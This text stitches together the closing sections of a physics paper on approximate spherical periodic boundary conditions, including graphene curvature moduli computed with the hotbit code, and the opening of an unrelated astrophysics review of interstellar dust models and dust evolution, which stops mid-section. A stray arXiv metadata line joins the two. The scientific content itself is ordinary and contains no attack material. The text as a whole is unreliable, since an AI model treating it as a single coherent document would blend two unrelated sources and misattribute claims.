Second, revised PBC does not need the ``unit cell'' concept. However, we shall call the square cone in Fig.~\ref{fig:operations}, extending from the origin to infinity and enclosing the shaded region, a unit or simulation cell because the concept is familiar and convenient in discussion. Otherwise, the mere expression for $\mathcal{S}^{\bm n}$ in Eq.(\ref{eq:rotation-operation}) is enough to determine everything in the simulation.
Third, the claim is not to simulate a complete sphere, but rather to \emph{view the curvature as a local property}. The particles in the simulation cell see the closest environment curved---and only this is important. The simulation cell is the only cell we model, and distances and angles measured only from the simulation cell are meaningful. For example, the vicinity of particle at $\mbox{\boldmath $r$}$ in Fig.\ref{fig:operations} exhibits curvature in bond angles and distances if one looks at particle's own periodic images at $\mathcal{S}_2 \mbox{\boldmath $r$}$ and $\mathcal{S}_2^{-1}\mbox{\boldmath $r$}$. Symmetry operations $\mathcal{S}^{\bm n}$ that have $n_i$ large enough to rotate large angles ($n_i\sim (\pi/2)/\delta \theta_i$) should be excluded because the non-commutativity of $\mathcal{S}_i$'s would otherwise become significant.
Fourth, the radius or curvature $R$ in Fig.~\ref{fig:operations} is not a parameter in the simulation; radially particles can migrate wherever interactions drive them. The spherical form is only forced by the choice of symmetry operations and the parameters $\delta \theta_1$ and $\delta \theta_2$, and since the symmetry is discrete, the system needs to be neither continuously nor smoothly spherical.
Fifth, a natural limitation is to have enough empty space near the origin to avoid too close encounters between the particles.\cite{void} Membrane can be thick.
\section{Applying the method}
The validity of the method depends on the system and its interactions. As a principal rule, the radius of curvature $R$ should be much larger than the interaction ranges between the particles. If ranges are larger than the system size, especially if those interactions control morphology, one does better to model the complete system. The Coulomb interactions can play a role locally, within small length scales (size of the unit cell at most), but the long-ranged Coulomb interaction requires special care, perhaps some refinements (the unit cell better be neutral).\cite{electrostatics} Quantitative error due to the non-commutativity of $\mathcal{S}_i$'s can be estimated by first using the right-hand side of Eq.(\ref{eq:rotation-operation}) as $\mathcal{S}^{\bm n}$, and then using the left-hand side of Eq.(\ref{eq:rotation-operation}) as $\mathcal{S}^{\bm n}$ (changing the ordering of $\mathcal{S}_1^{n_1}\mathcal{S}_2^{n_2}$), and comparing the resulting energies.
Because liquid lacks long-range order, the method suits particularly well for liquid membranes, such as lipid bilayers. Their energetics can be described by the Helfrich Hamiltonian that gives membrane's elastic energy per unit area as~\cite{helfrich_NC_73}
\begin{equation}
g=2\kappa \left( \frac{1}{2}\left[ \frac{1}{R_1}+\frac{1}{R_2} \right] \right)^2 + \overline{\kappa} \frac{1}{R_1 R_2}.
\label{eq:helfrich}
\end{equation}
Here $\kappa$ is the mean curvature modulus (don't confuse with a ${\bm \kappa}$-point), $\overline{\kappa}$ is the Gaussian curvature modulus, and $R_1$ and $R_2$ are the principal radii of curvature. The liquid membrane doesn't need to be free-standing, however, because also solid support can be incorporated, either by external force fields or by fixed atoms. External radial forces can be also used for pressurization, mimicking the embedding of membrane in gaseous or liquid environments.
For solid membranes the situation is more complicated, because energy will come also from the internal strain $E_s$. If a flat, round sheet of radius $\rho$ is wrapped into a spherical segment, the energy will be $E_s \sim Eh\pi \rho^6/108 R^4$,\cite{Es} where $E$ is the Young's modulus of the material, $h$ is the membrane thickness, and $R$ is the radius of curvature; meanwhile the curvature-related energy is $E_c=g\cdot \pi \rho^2$. Hence, for a reasonable modeling of solid membranes using Eq.(\ref{eq:helfrich}), we need to have $E_s\ll E_c$, or
\begin{equation}
E_s/E_c \sim \frac{Eh \rho^4 R_\text{min}^{-2}}{108 \cdot (2\kappa + \bar{\kappa})}\ll 1,
\label{eq:criterion}
\end{equation}
which suggests a minimum radius of curvature $R_\text{min}$ for a given unit cell area. If this geometrical and material-dependent criterion should be violated, the simulation would be dominated by non-local stress fields. Since the method does not properly describe these fields, the treatment would become ill-defined.
The above problem is present when sphericity is forced on originally flat sheet. But defects, for example, can induce spontaneous curvature in solid membranes in which case $R_\text{min}$ can be smaller. The method provides a new tool to investigate phenomena such as rippling due to adsorption-induced pinching of the membrane.\cite{thompson-flagg_EPL_09} This method does not directly compete with any existing method, but instead it provides possibilities to do something new.
\section{Example: spherical graphene}
The spherical symmetry was implemented in the density-functional tight-binding code \texttt{hotbit}.\cite{koskinen_CMS_09,hotbit_wiki} The RPBC implementation has a negligible computational overhead as compared to translational symmetry,\cite{koskinen_PRL_10} and can be implemented just by a few lines of new code in any existing RPBC implementation. The code source is open and stands for inspection.
In this section we use the \texttt{hotbit} implementation to present one practical example. We calculate the curvature moduli of graphene, motivated by their relevance to present-day engineering with carbon nanostructures. For a sphere the radii of curvature are $R_1=R_2=R$, and Eq.(\ref{eq:helfrich}) gives $g=(2\kappa+\overline{\kappa})/R^2$; for a cylinder $R_1=R$, $R_2=\infty$, and $g=\kappa/(2R^2)$. Hence, by calculating the elastic energies for a cylinder and a sphere and varying $\delta \theta_i$'s (hence varying $R$) we obtain both $\kappa$ and $\overline{\kappa}$ directly.
\begin{figure}[tb]
\includegraphics[width=7.5cm]{fig2.pdf}
\caption{(Color online) (a) Two-atom unit cell for spherical graphene, illustrating the symmetry operations: $\mathcal{S}_1$ is a rotation of angle $\delta \theta_1$ around $\mbox{\boldmath $c$}_1$ and $\mathcal{S}_2$ is a rotation of angle $\delta \theta_2$ around $\mbox{\boldmath $c$}_2$. (b) Few periodic images of atoms $a$ and $b$, shown for visualization purposes only. (c) Elastic energy per atom as a function of radius of curvature. Inset: fit to $R^{-2}$ behavior; the thin shaded fan is the error estimate due to approximations involved.}
\label{fig:graphene}
\end{figure}
Prior to simulating spherical graphene, we first calculated the mean curvature modulus of graphene, also applying revised PBC. Only now the symmetry operations, in a cylinder-like setup, were a rotation around $z$-axis ($\mathcal{S}_1$) and translation in $z$-direction ($\mathcal{S}_2$) with a $4$-atom unit cell (like a nanotube with enormous diameter); we won't discuss the cylinder setup further here.\cite{popov_NJP_04} The resulting cohesive energy depends on $R$ quantitatively like $R^{-2}$, as Eq.(\ref{eq:helfrich}) suggests, and the fitted value for $\kappa=1.61$~eV ($4.22$~eV\AA$^2$/atom) agrees with a density-functional reference value ($1.5$~eV)\cite{kudin_PRB_01} albeit is larger than an experimental reference value ($1.2$~eV).\cite{nicklow_PRB_72}
Returning to spherical graphene, Figs.~\ref{fig:graphene}a and \ref{fig:graphene}b show the two-atom unit cell of graphene. Unlike in Fig.\ref{fig:operations}, the unit cell is skewed with $\mbox{\boldmath $c$}_1 = \mbox{$\hat{\jmath}$}$ and $\mbox{\boldmath $c$}_2 = \cos (5\pi/6) \mbox{$\hat{\imath}$} + \sin (5\pi/6) \mbox{$\hat{\jmath}$}$. The geometry was optimized with given $\delta \theta_i$'s, which were taken as $\delta \theta_i=2.5$~\AA$/R'$ when we wanted to investigate a radius of curvature that roughly equals $R'$.\cite{bitzek_PRL_06} All the radii of curvature we report, anyhow, are the optimized $R$ ($R\approx R'$ because curvature changes bond distances only slightly). In practice we found that structure optimizations require convergence criteria tighter than with translational cells, due to geometrical effects from small $\delta \theta_i$.\cite{fmax} In quantum simulations ${\bm \kappa}$-points can be freely sampled ($\kappa_i \in[-\pi,\pi]$) because PBC is an approximation, just as with conventional Bloch's theorem; we used a $50\times 50$ ${\bm \kappa}$-point mesh.
Fig.\ref{fig:graphene}c shows our main result, graphene's cohesive energy as a function curvature---and represents the showcase of the new physics this method can unearth. Energy behaves clearly like $R^{-2}$, as suggested by Eq.(\ref{eq:helfrich}). The energy penalty $6.6$~eV\AA$^2R^{-2}$/atom, combined with previously calculated $\kappa$, yields $\overline{\kappa}=-0.70$~eV; we could not find this number in the literature. This result confirms graphene's beautiful elastic behavior up to high curvature---also for spherical distortion.\cite{kudin_PRB_01}
We did consistency checks for the graphene sphere calculations, three listed next. As a first check, when we investigate Eq.(\ref{eq:criterion}) with graphene parameters, we get $\rho \ll \sqrt{6\text{ \AA}\cdot R}$. For a graphene unit cell $\rho \sim 1$~\AA\ (lattice constant $2.5$~\AA), and the consequent criterion $R\gg 0.2$~\AA\ is easily fulfilled.
We obtained the same $\overline{\kappa}$ with $N=8$ and $N=32$ atom unit cells, even though larger $N$ increases $R_\text{min}$ (Eq.(\ref{eq:criterion}) and $\rho^2 \propto N$ infer $R_\text{min} \propto N$). Thus, the area is small enough to be stress-free, and the simulation is indeed dominated by curvature energy alone. We were able to perform controlled calculations down to radii $R_\text{min} \sim 10$~\AA\, or $\delta \theta_\text{max} \sim 15^\circ$. As a second check, we estimated quantitative error in energy due to the non-commutativity of the two rotations (inset in Fig.\ref{fig:graphene}c), as suggested above, but found the error fairly small. As a third check, we implemented symmetry also with a negative Gaussian curvature $R_1=-R_2=R$, for which $g=-\overline{\kappa}/R^2$ directly, and got an independent confirmation for $\overline{\kappa}$; we won't attempt to describe structures with negative Gaussian curvature here. Finally, since there is no charge transfer, the long-range Coulomb interactions are no issue.
Closer inspection of geometry revealed that curvature increased bond distances as $d_{nn}=1.417$~\AA$+0.135$~\AA $^3/R^2$, due to the weakening of in-plane $\sigma$-bonds, and hereby decreasing the effective nearest-neighbor tight-binding hopping parameter as $t_\text{eff}=t_{gr}-4.8$~eV\AA$^2/R^2$ ($t_{gr}\approx 2.7$~eV). For a detailed discussion of curvature-induced effects on graphene, we recommend Refs.~\onlinecite{kim_EPL_08}, \onlinecite{castro_neto_RMP_09} and \onlinecite{guinea_nphys_10}.
\renewcommand{\arraystretch}{1.2}
\begin{table}[t!]
\caption{Curvature moduli for single- and multi-layer graphene (AB stacking). Numbers in parentheses are estimates from Eq.(\ref{eq:kappas}). $^{a)}$ $\kappa=1.610$~eV for bending against zigzag direction (armchair direction remains straight), and $\kappa=1.606$~eV for bending against armchair direction.}
\begin{tabular}{lcc}
\hline & \\[-10pt]\hline
layers (N) & $\kappa_N$ (eV) & $\overline{\kappa}_N$ (eV) \\
\hline
\vspace{0.1cm}
monolayer & $1.61$ $^a$ & $-0.70$ \\
bilayer & $180$ ($180$) & $-140$ ($-176$) \\
trilayer & $690$ ($660$) & $-600$ ($-700$) \\
\hline & \\[-10pt]\hline
\label{table}
\end{tabular}
\end{table}
For completeness we calculated $\kappa$ and $\overline{\kappa}$ for bi- and trilayer graphene as well, and summarize the results in Table~\ref{table}. Assuming a constant layer separation of $h=3.4$~\AA\, analytical expressions for the curvature moduli of multi-layer graphene come as
\begin{align}
\begin{split}
\kappa_n = & n\kappa_1+Eh^3(n^3-n)/12 \\
\overline{\kappa}_n= & n\overline{\kappa}_1-Eh^3(n^3-n)/12,
\end{split}
\label{eq:kappas}
\end{align}
where $n$ is the number of layers and $E$ is Young's modulus. The simulated and analytical numbers have a fair agreement. Table reveals how strikingly smaller the moduli are for graphene monolayer, a true oddity among solid elastic sheets, as noted already in Ref.~\onlinecite{yakobson_TAP_01}.
\section{Concluding remarks}
We have introduced a simple and practical method to simulate spherical systems using revised PBC. Although the method is approximate, it is applicable precisely to systems so hard to handle: large systems with prominent curvature effects. Since the method works with schemes from \emph{ab initio} electronic structures and classical potentials to coarse-grained and finite element modeling, and has a wide range of applicability, we encourage any additional implementations.
Admittedly, it may take some time to digest the approximate nature of the method. The role of symmetries in materials modeling is usually taken as clear-cut, solid, and untouchable: it either is or is not. In this paper we have, however, created and entered a new gray area in symmetry usage; we are unaware of symmetry being treated in this type of approximate fashion before. For this reason, when using approximate spherical symmetry---or other approximate symmetries in future---we urge to examine modeled systems carefully and get assured of method's validity; the best guide on this way is common sense.
\section*{Acknowledgements}
We acknowledge the Academy of Finland for funding, H. H\"akkinen for support, A.~H.~Castro~Neto and T.~Tallinen for inspiring discussions, Jaakko Akola for comments and the Finnish IT Center for Science (CSC) for computational resources.
|
1,477,468,749,994 | arxiv | \section{Introduction}
Dust is present in almost every astrophysical environment, ranging from circumstellar shells and disks
to spiral, elliptical, starburst, and active galaxies, and to pre$-$galactic objects such
as QSO absorption$-$line and damped Ly$\alpha$ systems. The abundance and composition
of the dust in galaxies affect the galaxies' spectral appearance, and influence
the determination of their underlying physical properties, such as their star formation
rate, metallicity, and attenuation properties.
Understanding the properties of interstellar dust particles is therefore essential for the interpretation of galactic spectra.
In this manuscript I will briefly review what constitutes an interstellar dust model, list the observational constraints on such models, and briefly describe viable interstellar dust models that satisfy these constraints in the local interstellar medium (ISM). Special emphasis will be placed on the interstellar abundance constraints, which until recently, have not been explicitly included in dust models.
Interstellar dust exhibits spatial and temporal variations, and I will briefly review the ingredients in constructing models for the evolution of dust, stressing the current uncertainties in the yield of dust from supernovae and AGB stars. Finally, I will describe the effect of dust evolution on the spectral energy distribution of galaxies, and, using a very simple criterion, present a simple estimate of the redshift when galaxies first become opaque.
More detailed information on observational aspects of interstellar dust and the physics of dust can be found in the recent review article by Draine \cite{d04}, in the workshop on "Solid Interstellar matter: The ISO Revolution" \cite{djj} and the conference on "Astrophysics of Dust" \cite{wcd}, in the books by Whittet \cite{w03} and Kr\"ugel \cite{k03}, and the recent issue of The Astrophysical Journal Supplement Series (volume 154) dedicated to the first observations with the {\it Spitzer} Space Telescope.
\section{Interstellar dust models}
\subsection{What constitutes an interstellar dust model?}
An interstellar dust model is completely characterized by the abundance of the different elements locked up in the dust, and by the composition, morphology, and size distribution of its individual dust particles. This seemingly simple definition hides the complexities involved in deriving such a dust model.
First and foremost, any dust model must specify the total mass of the different refractory elements that are locked up in the solid phase of the ISM. These elements can form many different solid or molecular compounds with different optical and physical properties. In addition, the morphology of the dust particles whether spherical, ellipsoidal, cylindrical, platelike, or amorphous has an important effect on these properties. Finally, the size distribution of these dust particles will determine their collective properties and interactions with the ambient gas and radiation field. These interactions play a major role in the radiative appearance of galaxies, and in the thermal and chemical balance of their interstellar medium.
\subsection{Observational constraints in the local ISM}
Ideally, a viable interstellar dust model should fit all observational constraints arising primarily from the interactions of the dust with the incident radiation field or the ambient gas. These include:
\begin{enumerate}
\item the extinction, obscuration, and reddening of starlight;
\item the infrared emission from circumstellar shells and different phases of the ISM (diffuse H~I, H~II regions, photodissociation regions or PDRs, and molecular clouds);
\item the elemental depletion pattern and interstellar abundances constraints;
\item the extended red emission seen in various nebulae;
\item the presence of X-ray, UV, and visual halos around time-variable sources (X-ray binaries, novae, and supernovae);
\item the presence of fine structure in the X-ray absorption edges in the spectra of X-ray sources;
\item the reflection and polarization of starlight;
\item the microwave emission, presumably from spinning dust;
\item the presence of interstellar dust and isotopic anomalies in meteorites and the solar system;
\item the production of photoelectrons required to heat neutral photodissociation regions (PDRs); and
\item the infrared emission from X-ray emitting plasmas.
\end{enumerate}
It is unreasonable to require that a single dust model simultaneously fit all these observational constraints since they vary in different astrophysical environment, reflecting the regional changes in dust properties.
However, a viable interstellar dust model should be derived by {\it simultaneously} fitting at least a basic set of observational constraints. Also, it must consist of particles with realistic optical, physical, and chemical properties, and require no more than the ISM abundance of any given element to be locked up in the dust. In practice, most interstellar dust models have been constructed by deriving the abundances and size distributions of some well studied solids, such as graphite or silicates, using select observations such as the average interstellar extinction, the polarization, or the diffuse infrared emission as constraints, and then checked the model for consistency with other observational constraints such as the wavelength dependent albedo and interstellar abundances.
Simultaneous fits to the average interstellar extinction curve and the infrared (IR) emission from the diffuse ISM have given rise to a standard interstellar dust model consisting of bare, spherical graphite and silicate particles and a population of polycyclic aromatic hydrocarbons (PAHs) \cite{ld01}. This standard model can account for the observed 2175 \AA \ bump in the UV extinction curve and the far-UV rise in extinction attributed to graphite and PAHs; for the mid-IR emission features at 3.3, 6.2, 7.7, 8.6, and 11.3 $\mu$m, most commonly associated with PAHs; and for the general continuous IR emission from the diffuse ISM, attributed to submicron size silicate and graphite grains. The choice of graphite and PAHs was mainly motivated by the UV extinction bump and the mid-IR emission features. Silicate particles were included to account for the presence of the 9.7 and 18~$\mu$m absorption features seen in a variety of astrophysical objects and Galactic lines of sights. Using this model as a benchmark, regional variations in the observational manifestations of the dust can then be attributed to local deviations from this standard model. For example: the lack of the mid-IR emission features from inside H~II regions can be attributed to the depletion of PAHs in these regions; the flattening of the extinction curve at UV energies to a deficiency in PAHs and very small dust particles; and the presence of various absorption features in the spectra of some astronomical sources to the precipitation of ices onto the dust in these objects. Brief reviews on the history of the development of dust models were presented by \cite{d03, d04, dw04a}.
\subsection{Interstellar dust models with cosmic abundances constraints}
An important advance in the construction of interstellar dust models was made by Zubko, Dwek, \& Arendt \cite{zda} (hereafter ZDA). The ZDA approach differs from previous dust modeling efforts in two important ways: first, it includes, in addition to the average interstellar extinction and diffuse IR emission, cosmic abundances as an {\it explicit} constraint on the models; and second, it solves the problem of simultaneously fitting these three observational constraints by an inversion method called the method of regularization. Uncertainties in the data are propagated into uncertainties in the derived grain size distribution.
Interstellar abundances were previously not used as explicit constraints in dust models because of the large discrepancies between abundances inferred from solar, F and G stars, and B stars measurements (see \cite{s04} for a recent review). In particular, B star carbon abundances were found to be significantly different from solar abundance measurements given by, for example, Holweger \cite{h01}. This discrepancy precipitated an interstellar carbon "crisis" \cite{sw95, km96}, since standard interstellar dust models by Mathis, Rumpl, \& Nordsieck \cite{mrn} or Draine \& Lee \cite{dl84} required more carbon to be locked up in dust than available in the ISM. Mathis \cite{m76} attempted to solve the crisis by suggesting that most of the interstellar carbon dust is in the form of amorphous fluffy dust. However, Dwek \cite{dw97b} showed that the Mathis model failed to include the amount of carbon needed to produce the PAH features, and that the fluffy carbon particles produced an excess of far-IR emission over that detected by the {\it COBE} satellite from the diffuse ISM \cite{dw97a}.
A very recent analysis of solar absorption lines by Asplund, Grevesse, \& Sauval \cite{ags}, which included the application of a time-dependent 3D hydrodynamical model for the solar atmosphere, has led to a dramatic revision of the abundance of carbon in the sun. The revised carbon and oxygen abundances are now in much better agreement with local ISM \cite{an03}, and with the B star abundances, which are commonly believed to represent those of the present day ISM.
ZDA considered five different dust compositions as potential model ingredients: (1) PAHs; (2) graphite; (3) hydrogenated amorphous
carbon of type ACH2; (4) silicates (MgSiFeO$_4$); and (5) composite particles
containing different proportions of silicates, organic refractory material (C$_8$H$_8$O$_4$N), water ice (H$_2$O), and voids.
These different compositions were used to create five different classes of dust models:
\begin{itemize}
\item {\bf The first class} consists of PAHs, and bare graphite and
silicate grains, and is identical to the carbonaceous/silicate model recently
proposed by \cite{ld01}. \\
\item {\bf The second class} of models contains composite particles in addition
to PAHs, bare graphite and silicate grains. \\
\item {\bf The third and fourth classes} of models comprise the first and second
classes, respectively, in which the graphite particles are completely replaced by amorphous
carbon grains. \\
\item {\bf In the fifth class} of models the only carbon is in PAHs and in the organic refractory material in composite grains. That is, the model comprises only PAHs, bare silicate, and composite particles.
\end{itemize}
To accommodate the uncertainties in the ISM abundances, ZDA considered three different ISM abundance determinations: solar, B-star, and F-G star abundances, as constraints for the dust models.
The method of regularization proved to be a robust method for deriving the grain size distribution and abundances (the two unknowns) for the different classes of dust models. The results show that there are many classes of interstellar dust models that provide good simultaneous fits to the far-UV to near-IR extinction, thermal IR emission, and elemental abundances constraints. The models can be grouped into two major categories: BARE and COMP models. The latter are distinguished from the former by the fact that they contain a population of composite dust particles which generally have larger radii than bare particles.
\subsection{Results and astrophysical implications}
Table 1 compares the abundances of refractory elements in two ZDA and the Li \& Draine \cite{ld01} dust models to the constraints imposed from abundance determinations in stars and the ISM. Abundances are normalized to 10$^6$ hydrogen atoms or parts per million (ppm). The abundances in the dust were derived by subtracting the observed gas phase abundances from the respective solar, F and G stars, and B star abundances. Note that the F and G star abundances have larger uncertainties in their O, Mg, and Si determinations than their solar and B stars counterparts. However, all abundances are consistent within the 1$\sigma$ uncertainties in their determinations.
\begin{table}
\begin{tabular}{lllllll}
\hline
\tablehead{1}{l}{b}{ }
&\tablehead{1}{l}{b}{reference}
& \tablehead{1}{l}{b}{C}
& \tablehead{1}{l}{b}{O}
& \tablehead{1}{l}{b}{Mg}
& \tablehead{1}{l}{b}{Si}
& \tablehead{1}{l}{b}{Fe} \\
\hline
\bf{Total}& Solar \tablenote{Asplund, Grevesse, \& Sauval \cite{ags}} & 245$\pm$30 & 457$\pm$56 & 34$\pm$8 & 32$\pm$3 & 28$\pm$3\\
& F \& G stars \tablenote{Sofia \& Meyer \cite{sm01}} &358$\pm$82 & 445$\pm$156 & 43$\pm$17 & 40$\pm$13 & 28$\pm$8\\
& B stars \tablenote{Sofia \& Meyer \cite{sm01}} &190$\pm$77 & 350$\pm$133 & 23$\pm$7 & 19$\pm$9 & 29$\pm$18\\
\hline
\bf{Gas} & &75$\pm$25\tablenote{Dwek et al. \cite{dw97a}} & 385$\pm$12\tablenote{Andr\'e et al. \cite{an03}, average between samples A and C} & $\approx$ 0 & $\approx$ 0 & $\approx$ 0\\
\hline
\bf{Dust}& Solar & 170$\pm$40 & 72$\pm$57 & 34$\pm$8 & 32$\pm$3 & 28$\pm$3\\
& F \& G stars & 283$\pm$86 & 60$\pm$156 & 43$\pm$17 & 40$\pm$13 & 28$\pm$8\\
& B stars & 115$\pm$81 & 0$\pm$134 & 23$\pm$7 & 19$\pm$9 & 29$\pm$18\\
\hline
\bf{Models} & ZDA (BARE-GR-S) & 246 & 133 & 33 & 33 & 33 \\
& Li \& Draine \cite{ld01} & 254 & 192 & 48 &48 & 48 \\
& ZDA (COMP-NC-B ) & 196 & 154 & 28 & 28 & 28 \\
\hline
\end{tabular}
\caption{Inferred dust phase abundances in the diffuse ISM}
\label{tab:a}
\end{table}
\begin{figure}
\includegraphics[height=3.0in]{dwek_fig1.eps}
\caption{The relative steadiness of the solar (or meteoritic) abundance determinations of Mg, Si, and Fe: Cameron \cite{c70}-{\it open diamond}; Gehren \cite{g88}-{\it open square}; Anders \& Grevesse \cite{ag89}-{\it open circle}; Grevesse \& Sauval \cite{gs98}-{\it filled star} ; Asplund, Grevesse, \& Sauval \cite{ags}-{\it filled diamond.} The Fe abundance of Anders \& Grevesse \cite{ag89} is represented by both, the meteoritic and solar abundance determination because of the large discrepancy between the two values. The horizontal lines represent the results of the models discussed in the text.}
\end{figure}
The first ZDA model (BARE-GR-S) consists of bare silicate and graphite grains and PAHs, and was derived using the Holweger \cite{h01} solar abundances constraint. The dust composition and optical properties are identical to those of the Li-Draine model. However, they differ significantly in their grain size distribution (see Figure 19 and Table 7 in ZDA for the comparison and the analytical fit to the derived ZDA size distribution). Table~1 shows that the ZDA BARE model reproduces the updated abundances constraints better than the standard Li-Draine model, with the strictest constraint provided by the Mg, Si, and Fe abundance. The Li-Draine model requires $\sim$ 70\% more Fe and $\sim$ 50\% more Mg or Si to be in the dust than is available from either set of stellar abundances. Figure~1 shows how the solar abundance determinations of Mg, Si, and Fe varied over time, and compares them with the three dust models listed in the table. The abundance determination of Mg and Si have remained quite constant over time and consistent with meteoritic abundance determinations. The formerly large discrepancy between the solar and meteoritic Fe abundances reported by Anders \& Grevesse \cite{ag89} has been resolved by the more recent measurements of Asplund, Grevesse, \& Sauval \cite{ags}, which has settled on the lower value of 28$\pm$3.
Also listed in the table is model COMP-NC-B from ZDA, which consists of silicates, composite grains, and PAHs. All the carbon in this model is in PAHs and in the organic refractory component of the composite grains. This model was constructed to fit the B star abundances and requires the least amount of carbon to be locked up in the solid phase of the ISM.
\subsection{Should there be a universal dust model?}
ZDA discovered a total of fifteen viable dust models that satisfy the extinction, IR emission and abundances constraint in the local ISM. Is there any way to discriminate between these models?
COMP grain models differ from BARE ones, because a significant fraction of their dust particles are fluffy composites containing voids. Composite particles have therefore an effective electron density that is significantly smaller than that of the bare particles. Consequently, observations of X-ray halos can, in principle, discriminate between the different classes of viable dust models \cite{dw04a} since X-ray halos are primarily produced by X-rays scattering off electrons in large grains. However, X-ray halos sample a very limited fraction of the general ISM. So even if an X-ray halo would favor one model, it would not preclude the viability of others in different regions of the ISM, since dust properties exhibit significant variations along different lines of sight.
Some of the observational evidence for such variations are:
\begin{itemize}
\item the variations in the steepness of the FUV rise and the strength of the 2175 \AA \ bump \cite{f04}
\item the richness of mineral structures and ices seen in the evolved stars that are absent in the diffuse ISM \cite{w04}
\item variations in the elemental depletion pattern in the hot, warm, and cold phases of the ISM \cite{s04}
\item variations in the PAH features in different regions of the ISM \cite{b04, on04}
\item variations in the strength and width of the silicate features \cite{d03}
\end{itemize}
These variations probably result from the existence of a large variety of dust sources producing dust with different composition and mineral structure, and from the fact that the ISM is not homogeneously mixed. Furthermore, grain processing in the ISM by thermal sputtering, grain-grain collisions, grain coagulation, and accretion in clouds plays an important role in producing large spatial variations in dust properties \cite{j04}. Such variations are manifested in the observed UV-optical extinction and IR emission from galaxies.
Evidence for spatial variations in the extinction was provided by Keel \& White \cite{kw01}, who analyzed the extinction properties of dust in spiral galaxies that are partially backlit by an elliptical one, and by Clayton \cite{c04}, who reviewed extinction studies of the Magellanic Clouds and other nearby galaxies. There are too many observations showing the spatial variations in the IR emission spectrum from galaxies to list here, but many can be found in the special issue of The Astrophysical Journal Supplement Series (volume 154) reporting the first results from the {\it Spitzer} satellite.
\section{The Evolution of Dust}
\subsection{Dust sources and relative contributions}
It is clear that there is no universal dust model that can be applied to a galaxy as a whole, or to galaxies with different evolutionary histories. Consider the production of dust from an evolving single stellar population (SSP) with masses between $\sim$ 0.8 and 40~M$_{\odot}$. The first dust that will be injected into the ISM will probably be formed in late-type Wolf-Rayet (WR) stars. Dust formation has only been observed to occur in the coolest C-rich stars of type WC8 and WC9. At least in a few cases, the formation of dust in these objects was induced by the interaction of the WR ejecta with the wind from a companion O-star \cite{mtd}. WR stars are however minor sources of dust that overall contribute less than 1\% of the total mass of dust injected by supernovae and AGB stars into the ISM \cite{jt, dw98}. After about 5~Myr the first stars of the SSP will undergo core collapse giving rise to Type II supernova (SN) events. SN ejecta contain layers that are C- and O-rich, which are not intermixed on a molecular level. Consequently, SNe can produce both carbon and silicate type dust particles \cite{khn}. Stars with masses below $\sim$ 8~M$_{\odot}$ will undergo the AGB phase, lose mass, and evolve into white dwarfs. Figure 2 depicts the carbon and silicate yields from AGB stars with an initial solar metallicity. Stellar yields were taken from Marigo \cite{m01}. Stars with a C/O~$>$~1 ratio in their ejecta were assumed to condense only carbon dust, whereas stars with a C/O~$<$~1 ratio were assumed to condense only silicate type dust. The yields were calculated assuming a condensation efficiency of unity in the ejecta. The mass range of carbon producing AGB stars is between $\sim$ 1.6 and 4~M$_{\odot}$, a range that widens at lower stellar metallicities \cite{dw98}. So carbon dust from AGB stars will first be injected into the ISM after about 200~Myr, when $\sim$ 4~M$_{\odot}$ stars evolve off the main sequence.
The AGB yields depicted in Figure 2 represent an idealized situation. In reality, AGB stars undergo thermal pulsations (the explosive ignition of the He-rich shell), that cause the convective mixing of C-rich gas with the outer stellar envelope. After repeated thermal pulses a star can evolve from an O-rich giant to a C-rich star. The changing composition of the stellar envelope will affect the chemistry of dust formation. Detailed kinetic nucleation calculations (Ferrarotti \& Gail \cite{fg}) show that AGB stars of a given mass can indeed form both, carbonaceous and silicate, type dust particles. Including the effect of radiation pressure on the newly-formed dust on the dynamics of the envelope, they find AGB yields that are significantly lower, by factors between 3 and 10, from those presented in Figure 2. A similar conclusion was reached by Morgan \& Edmunds \cite{me03} using a simpler model for dust formation in AGB stars.
Figure 3 shows the carbon and silicate yields from both, AGB stars and SN~II, weighted by the stellar initial mass function (IMF), taken to be the Salpeter IMF between 0.7 and 40~M$_{\odot}$. SNe yields were taken from Woosley \& Weaver \cite{ww95}, and a condensation efficiency of unity was adopted in calculating the dust yield. The figure shows that the main contributors to the interstellar carbon abundance are low mass AGB stars, whereas SN~II are the main contributors to the silicate abundance in the ISM. We emphasize however, that the yields presented in the figure are ideal ones, and that the actual yield of dust in SNe and AGB stars is still highly uncertain (see \S4 below).
\begin{figure}
\includegraphics[height=3.0in]{dwek_fig2.eps}
\caption{The carbon and silicate yield from AGB stars, based on the Marigo \cite{m01} yields.}
\end{figure}
\begin{figure}
\includegraphics[height=3.0in]{dwek_fig3.eps}
\caption{The IMF-weighted carbon and silicate yields from AGB stars and Type II supernovae. SN yields were taken from Woosley \& Weaver \cite{ww95}.}
\end{figure}
\subsection{Dust processing in the ISM}
Following their injection into the ISM the newly-formed dust particles are subjected to a variety of interstellar processes, that result in the exchange of elements between the gas and dust phases of the ISM. These include:
\begin{itemize}
\item thermal sputtering in high-velocity ($>$200 km~s$^{-1}$) shocks;
\item evaporation and shattering by grain-grain collisions in lower velocity shocks; and
\item accretion in dense molecular clouds.
\end{itemize}
Detailed description of the various grain destruction mechanisms and grain lifetimes in the ISM were presented by Jones, Hollenbach, \& Tielens \cite{jht} and recently reviewed by Jones \cite{j04}.
\subsection{The destruction of SN condensates by the reverse shock}
To these destruction processes we add the destruction of SN-condensed dust grains by the reverse shock propagating through the SN ejecta. The reverse shock is caused by the interaction of the ejecta with the ambient medium. Figure 4 is a schematic reproduction of a similar figure in \cite{tm99}, depicting the interaction of the SN ejecta during the free expansion phase of its evolution with its surrounding medium. This medium could consist of either circumstellar material that was ejected by the progenitor star during the red giant phase of its evolution, or interstellar material.
The SN ejecta acts like a piston driving a blast wave into the ambient medium. Immediately behind the blast wave is a
region of shocked swept-up gas. When the pressure of this shocked gas exceeds that of the cooling
piston, a reverse shock will be driven into the ejecta \cite{m74}.
\begin{figure}
\includegraphics[height=3.0in]{dwek_fig4.eps}
\caption{A schematic diagram (after Truelove \& McKee \cite{tm99}) depicting the interaction of the SN ejecta with its ambient surrounding.}
\end{figure}
Dust formed in the ejecta will be subject to thermal sputtering by the reverse shock. The fraction of dust destroyed is roughly given by the ratio of the sputtering lifetime, $\tau_{sput}$, to the expansion time (age), $t$, of the ejecta. The grain lifetime is initially a strongly rising function of gas temperature, reaching a plateau at about 10$^6$~K \cite{dw96}. Figure 5 depicts the velocity history of the reverse shock as it traverses different layers of the ejecta, as a function of $\alpha \equiv R_r/R_{ej}$, where $R_r$ is the radius of the reverse shock, and $R_{ej}$ is the outer radius of the ejecta. The calculations were performed using the analytical expressions of Truelove \& McKee \cite{tm99} for a SN explosion in a uniform medium.
